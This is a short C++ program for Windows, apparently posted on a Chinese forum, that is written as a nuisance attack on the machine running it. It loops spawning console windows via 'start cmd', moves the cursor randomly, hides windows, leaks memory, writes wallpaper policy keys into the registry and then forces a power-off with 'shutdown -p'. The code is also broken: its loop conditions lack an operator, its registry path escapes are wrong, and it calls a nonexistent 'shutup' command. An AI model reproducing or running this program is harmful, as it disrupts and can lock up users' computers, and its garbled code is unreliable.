#include<bits/stdc++.h> #include<windows.h> using namespace std; int main() { int cnt=0; while(true) { cnt++; SetCursorPos(rand()%1000,rand()%1000); system("start cmd"); HWND hWnd=GetForegroundWindow(); ShowWindow(hWnd,SW_HIDE); malloc(1000); DWORD value = 1; HKEY hkey; RegCreateKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", &hkey); RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3); RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD)); if(cnt10000) { break; } } if(cnt10000) { system("shutdown -p"); system("shutup +p"); } return 0; }

3 条评论

  • 1